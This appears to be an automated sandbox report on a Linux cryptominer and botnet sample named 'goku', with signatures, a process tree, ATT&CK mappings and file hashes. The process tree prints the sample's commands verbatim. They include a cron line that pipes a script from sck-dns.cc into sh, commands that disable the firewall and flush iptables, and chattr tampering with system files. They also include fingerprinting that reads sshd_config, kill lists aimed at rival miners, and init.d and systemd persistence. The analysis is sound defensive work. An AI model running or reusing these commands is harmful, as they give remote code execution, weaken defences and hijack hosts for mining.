Analysis
-
max time kernel
149s -
max time network
148s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240523-en -
resource tags
-
submitted
19-09-2024 06:53
General
-
Target
goku
-
Size
4.6MB
-
MD5
eee6a6e777fd9ae23046abb7de1e0c2a
-
SHA1
70784f342f03b5b3c73550dd6cd0be08503bb2a7
-
SHA256
f6069886728686c5c6566c0332ba37c16805fb623b6fcbbd1dd2e09ee5cc75b1
-
SHA512
e99c083cab705077c2b5dda663706d9932fab2474ff2b24b5eaa4073108061b8fb70cf1aa64079f71d2db72fb504f35b0ef0ac410f37709ff96d7cbeb25ae067
-
SSDEEP
49152:0hwNAj0VlOyTHfMDjYpLCWvHFiMBiBFjrhrlzr18t7LxcAk4u7prrRQtLxfTpjU1:JfjjTvlNiPt9y7LxXk5prrmlu
Score
10/10
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 1 IoCs
-
Detects Kaiten/Tsunami payload 1 IoCs
-
Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Modifies the dynamic linker configuration file 2 TTPs 1 IoCs
Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.
-
XMRig Miner payload 1 IoCs
-
Executes dropped EXE 3 IoCs
-
UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Attempts to change immutable files 30 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Creates/modifies Cron job 1 TTPs 8 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
-
Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Writes file to system bin folder 1 IoCs
-
Security Software Discovery 1 TTPs 2 IoCs
Adversaries may attempt to discover installed security software and its configurations.
-
Changes its process name 1 IoCs
-
Checks CPU configuration 1 TTPs 5 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 64 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Process Discovery 1 TTPs 2 IoCs
Adversaries may try to discover information about running processes.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/goku/tmp/goku1⤵
- Creates/modifies Cron job
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Writes file to tmp directory
-
/bin/psps -eo "pid,ppid,comm,%cpu" "--sort=-%cpu"2⤵
- Reads CPU attributes
-
-
/bin/chattrchattr -ia /etc/cron.d/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/ssss -n2⤵
-
-
/bin/chattrchattr -ia /etc/cron.d/anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.d/e2scrub_all2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/atjobs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/atspool2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/crontabs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.hourly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/apport2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/apt-compat2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/dpkg2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.daily/man-db2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.weekly/man-db2⤵
- Attempts to change immutable files
-
-
/bin/ssss -ltnp "sport = :49365"2⤵
-
-
/bin/chattrchattr -ia /etc/cron.monthly/.placeholder2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/cron.monthly/0anacron2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/spool/cron/atjobs2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /var/run/9b0278d4-04d9-4da5-b048-0f48d9f1ce9c2⤵
- Attempts to change immutable files
-
-
/bin/ssss -ltnp "sport = :3333"2⤵
- Reads runtime system information
-
-
/mnt/-java/mnt/-java -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
-
/bin/hostnamehostname -I4⤵
- Attempts to change immutable files
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/catcat /etc/ssh/sshd_config4⤵
-
-
/bin/grepgrep "Port "4⤵
-
-
/bin/headhead -n 14⤵
-
-
/bin/awkawk "{print \"-\"\$2}"4⤵
-
-
/bin/whoamiwhoami4⤵
-
-
/bin/hostnamehostname4⤵
-
-
/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/grepgrep -m 1 "model name" /proc/cpuinfo4⤵
- Checks CPU configuration
-
-
/bin/cutcut -d: -f24⤵
-
-
/bin/sedsed -e "s/^ *//"4⤵
-
-
/bin/sedsed -e "s/\$//"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$3}"4⤵
-
-
/bin/awkawk "{print \$4}"4⤵
-
-
/bin/awkawk "{print \$1}"4⤵
-
-
/bin/awkawk "{print \$2\" \"\$3\" \"\$4}"4⤵
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
-
/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
-
-
/bin/idid -u4⤵
-
-
/bin/psps x4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep /etc/cron4⤵
-
-
/bin/grepgrep -v grep4⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵
- Security Software Discovery
-
/bin/idid -u4⤵
-
-
/bin/psps aux4⤵
- Checks CPU configuration
- Reads CPU attributes
- Process Discovery
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵
-
-
/bin/grepgrep -v /usr/sbin/httpd4⤵
-
-
/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵
- Security Software Discovery
-
/bin/idid -u4⤵
-
-
/bin/psps aux4⤵
- Checks CPU configuration
- Process Discovery
-
-
/bin/grepgrep -v grep4⤵
-
-
/bin/grepgrep -- "-bash[[:space:]]*\$"4⤵
-
-
/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵
-
-
/bin/wcwc -l4⤵
-
-
-
-
/bin/ssss -ltnp "sport = :5555"2⤵
-
-
/bin/bashbash -c "echo \"*/2 * * * * /var/run/9b0278d4-04d9-4da5-b048-0f48d9f1ce9c */5 * * * * curl -s http://sck-dns.cc/c|sh \" | crontab -"2⤵
-
/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
-
/bin/ssss -ltnp "sport = :7777"2⤵
- Reads runtime system information
-
-
/bin/ssss -ltnp "sport = :19999"2⤵
-
-
/bin/ssss -ltnp "sport = :10300"2⤵
- Reads runtime system information
-
-
/bin/ssss -ltnp "sport = :10343"2⤵
-
-
/bin/ssss -ltnp "sport = :13333"2⤵
-
-
/bin/ssss -ltnp "sport = :15555"2⤵
-
-
/bin/bashbash -c "ufw disable"2⤵
-
-
/bin/bashbash -c "iptables -P INPUT ACCEPT"2⤵
- System Network Configuration Discovery
-
-
/bin/bashbash -c "iptables -P OUTPUT ACCEPT"2⤵
- System Network Configuration Discovery
-
-
/bin/bashbash -c "iptables -P FORWARD ACCEPT"2⤵
- System Network Configuration Discovery
-
-
/bin/bashbash -c "iptables -F"2⤵
- System Network Configuration Discovery
-
-
/bin/bashbash -c "chattr -ia /etc/ld.so.preload"2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr -ia /etc/ld.so.preload2⤵
- Attempts to change immutable files
-
-
/bin/bashbash -c "cat /dev/null > /etc/ld.so.preload"2⤵
- Modifies the dynamic linker configuration file
-
/bin/catcat /dev/null3⤵
-
-
-
/bin/bashbash -c "crontab -l | sed '/\\.bashgo\\|pastebin\\|onion\\|bprofr\\|python\\|curl\\|wget\\|\\.sh/d' | crontab -"2⤵
-
/bin/crontabcrontab -l3⤵
-
-
/bin/sedsed "/\\.bashgo\\|pastebin\\|onion\\|bprofr\\|python\\|curl\\|wget\\|\\.sh/d"3⤵
-
-
/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
-
/mnt/-sdk/mnt/-sdk2⤵
- Executes dropped EXE
- Writes file to tmp directory
-
-
/bin/bashbash -c "cat /proc/mounts | awk '{print \$2}' | grep -P '/proc/\\d+' | grep -Po '\\d+' | xargs -I % kill -9 %"2⤵
- Attempts to change immutable files
-
/bin/catcat /proc/mounts3⤵
-
-
/bin/awkawk "{print \$2}"3⤵
-
-
/bin/grepgrep -P "/proc/\\d+"3⤵
-
-
/bin/grepgrep -Po "\\d+"3⤵
-
-
/bin/xargsxargs -I "%" kill -9 "%"3⤵
- Attempts to change immutable files
-
-
-
/bin/bashbash -c "pgrep -f 'meshagent|kdevchecker|ipv6_addrconfd|kworkerr|cpuhelp|deamon|ksoftriqd|pastebin|solr.sh|solrd|kinsing|kdevtmpfsi|kthreaddk|linuxsys|rnv2ymcl|skid.x86|getpy.sh|unifiw|kdevtmpfsi|stratum' | xargs -r kill"2⤵
- System Network Configuration Discovery
-
/bin/xargsxargs -r kill3⤵
-
/bin/killkill 26534⤵
-
-
-
/bin/pgreppgrep -f "meshagent|kdevchecker|ipv6_addrconfd|kworkerr|cpuhelp|deamon|ksoftriqd|pastebin|solr.sh|solrd|kinsing|kdevtmpfsi|kthreaddk|linuxsys|rnv2ymcl|skid.x86|getpy.sh|unifiw|kdevtmpfsi|stratum"3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- System Network Configuration Discovery
-
-
-
/bin/ssss -n2⤵
-
-
/bin/ssss -n2⤵
-
-
/bin/ssss -n2⤵
-
-
/bin/pkillpkill -9 -f b64decode2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/ssss -n2⤵
-
-
/bin/ssss -n2⤵
-
-
/bin/ssss -n2⤵
-
-
/bin/ssss -n2⤵
-
-
/bin/pkillpkill -9 -f MCf82⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f mysqldd2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f monero2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f kinsing2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f sshpass2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f sshexec2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f cnrig2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f attack2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f dovecat2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f javae2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f donate2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f "scan\\.log"2⤵
-
-
/bin/pkillpkill -9 -f xmr-stak2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f crond642⤵
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f stratum2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f /tmp/java2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f pastebin2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f "/tmp/\\."2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "so\\.txt"2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f "bash -s 3673"2⤵
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f 8005/cc52⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f /tmp/system2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "\\./cliented"2⤵
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "\\.inis"2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f certutil2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f excludefile2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f agettyd2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f kthreaddkk2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f /dev/shm2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f /var/tmp2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f "\\./python"2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "\\./crun"2⤵
-
-
/bin/pkillpkill -9 -f "bash -s kthreaddk"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "\\./\\."2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "118/cf\\.sh"2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f "\\./lin64"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "confluence/install\\.sh"2⤵
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "unls64\\.sh"2⤵
-
-
/bin/pkillpkill -9 -f "\\./system-xfwm4-session"2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f "\\./httpd"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f xmrig2⤵
-
-
/bin/pkillpkill -9 -f kthreaddi2⤵
-
-
/bin/pkillpkill -9 -f loligang2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f kthreaddw2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f "\\.6379"2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f "load\\.sh"2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f "init\\.sh"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f "solr\\.sh"2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f "\\.rsyslogds"2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f sysDworker2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f pnscan2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f masscan2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f juiceSSH2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f sysguard2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f kdevtmpfsi2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f solrd2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f polska2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f meminitsrv2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f networkservice2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f sysupdate2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f phpguard2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f phpupdate2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f networkmanager2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f knthread2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f mysqlserver2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f gitlabkill2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f watchbog2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f zgrab2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f kthreaddk2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f ksoftriqd2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f kinsing2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f kdevtmpfsi2⤵
- Reads CPU attributes
-
-
/bin/pkillpkill -9 -f unifiw2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/pkillpkill -9 -f kthreaddi2⤵
-
-
/bin/pkillpkill -9 -f "\\./systemd"2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/bin/pkillpkill -9 -f /tmp/.ICEd-unix/unifiw2⤵
-
-
/bin/chattrchattr +ia /etc/init.d/dpkg-deb-package2⤵
- Attempts to change immutable files
-
-
/etc/init.d/dpkg-deb-package/etc/init.d/dpkg-deb-package start2⤵
- Executes dropped EXE
-
/bin/cpcp -f -r -- /bin/dpkg-debian /bin/dpkg-deb-package3⤵
-
-
/bin/rmrm -rf -- dpkg-deb-package3⤵
-
-
/bin/nohupnohup ./dpkg-deb-package3⤵
-
-
/usr/bin/dpkg-deb-package./dpkg-deb-package3⤵
-
-
-
/bin/chattrchattr +ia /etc/systemd/system/dpkg-deb-package.service2⤵
- Attempts to change immutable files
-
-
/bin/systemctlsystemctl daemon-reload2⤵
-
-
/bin/systemctlsystemctl enable dpkg-deb-package.service2⤵
-
/bin/getoptgetopt -o r: --long root: -- enable dpkg-deb-package3⤵
-
-
/usr/sbin/update-rc.d/usr/sbin/update-rc.d dpkg-deb-package defaults3⤵
-
/bin/systemctlsystemctl daemon-reload4⤵
-
-
-
/usr/sbin/update-rc.d/usr/sbin/update-rc.d dpkg-deb-package enable3⤵
-
/bin/systemctlsystemctl daemon-reload4⤵
-
-
-
-
/bin/chattrchattr +ia .bash_profile2⤵
- Attempts to change immutable files
-
-
/bin/chattrchattr +ia /bin/dpkg-debian2⤵
- Attempts to change immutable files
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Hijack Execution Flow
1Dynamic Linker Hijacking
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Hijack Execution Flow
1Dynamic Linker Hijacking
1Scheduled Task/Job
1Cron
1Defense Evasion
Hijack Execution Flow
1Dynamic Linker Hijacking
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
152B
MD5197378e492aa7bb5ab86f22928c1d0c9
SHA17453764350d1611d643aba96578b5e066617a2cf
SHA256597f50c20de831cc216484456dc6e3feadf1d8a62c2f21ef66518e5616556d8f
SHA512771f5bd7cf78f0b2232bab39a4644627e7891d7f6e925f5ff237a6e6aa71b7c01faac7cd1c8db38359787d795269f2bc10ed1a5b600d653e8ab08bbd867a7476
-
Filesize
366B
MD5906d7ce63c7466c6c65f509156bb1529
SHA11e3dcb514ce8007a594f6805c7bdde98fe2f7667
SHA256e3d6f2b6cc53564780785e6efb9e415b83e40342fe7afe210631fe84fd492476
SHA512f488084c847b471330dbef23bbb7e3c9def2b961a66406d8ae36de9fe168f9ae1c3db3b001f8e58bd2a0dbf91696a8512812a87bb805df71972a76b82e11cd4d
-
Filesize
368B
MD5c4b8df941d21bfdef588739132cd7a14
SHA12ead781a01cc9375ed6c8baab5dfda0cebe1fcfd
SHA25610d05ae87e80189eead21851fdd757b60d7c7710adce029176847516387cfc5e
SHA512bd82c37868c18bbf9c4acde45fb4368d0ac87af741797fca71049f763a665c94651db5e18aed249a99e8b1491c04c476ce1c9039bc8583c89bb071293fe9dae3
-
Filesize
2.3MB
MD5b9f096559e923787ebb1288c93ce2902
SHA194851bcc8f9c651bcda0ff33d17356cb0b16cf12
SHA2561fcc2061f767574044ca1e97f92ca1d44ee0b35e0a796e3bd6a949ad4b1175e5
SHA512ce5f09737d0b7191e3b646ed6111bb0ce97544d280223f327c4f4cc652dc840fed639bc0462b88a7f87d071066e302be7980f14faca1f5e6e9bf732637db22be
-
Filesize
184KB
MD58a68585066330f536d6fb376d15cfc4f
SHA1587dfdb1a3607af9ed32e0561bbab944f510b17b
SHA256c964791501a48e919446892fe14ed101c27da375668ac7a24de891dc68356f9b
SHA5126a5ec5083e58cc3e70bf8a395c85bf66c913737b17266f24925339b26dfa4d641cc9cd83922ef7e9dc7ed6febfceb171b7e051dd4c4741028e0328a431f080a6
-
Filesize
4.6MB
MD5eee6a6e777fd9ae23046abb7de1e0c2a
SHA170784f342f03b5b3c73550dd6cd0be08503bb2a7
SHA256f6069886728686c5c6566c0332ba37c16805fb623b6fcbbd1dd2e09ee5cc75b1
SHA512e99c083cab705077c2b5dda663706d9932fab2474ff2b24b5eaa4073108061b8fb70cf1aa64079f71d2db72fb504f35b0ef0ac410f37709ff96d7cbeb25ae067
-
Filesize
157B
MD579505b661478ecb00765503c0213ee7b
SHA1ef99b3344ffccf3aa0d6a673b3b0b52f75911f86
SHA25626ec77a993ff0269aeee4bed1d5e8708dc8ee895567659e94cf8fc259b2ba50b
SHA51203277fd70119193e0982753319d99112d895e24113366439062091b33a5898be9136f6801d10fa2486ff1d86552ee940c9dee759411e57c8cec8ed3d456da0b6
-
Filesize
234B
MD58e6e61c7fbf508ac4090dbb47abcf1d2
SHA1517c963c7b111ce381cf8a18d7210aa111019627
SHA2566aff50468d4e3763f94f8f80e8506ef6598bb69da9b708332a27aebf53d796a4
SHA51299ac55cae0207d09054a883e3d64b461967602f5f0feac4c51a0bb9383a9db7a21f96c5d236b62b7afd117543c612be0e05559cfab57bb62261ca52a0edf8033
-
Filesize
279B
MD53663e72e284ced4016574d96097f15ef
SHA16e51f56013aa4508bdd0a8f23bc60619e85a4957
SHA256bec3f15fad9fd7c05e48e16566a75bae6caee3cb5b7fd0c8a3e7308492b1a3a9
SHA512409063a044548b54193ece97397f3c850b6d50a0cf8db9cdab70b2d7dca5b4f46a5e31d4abf8f063842f89c13fd151f3de7b9dbb0d40566bc67c398a7de242c3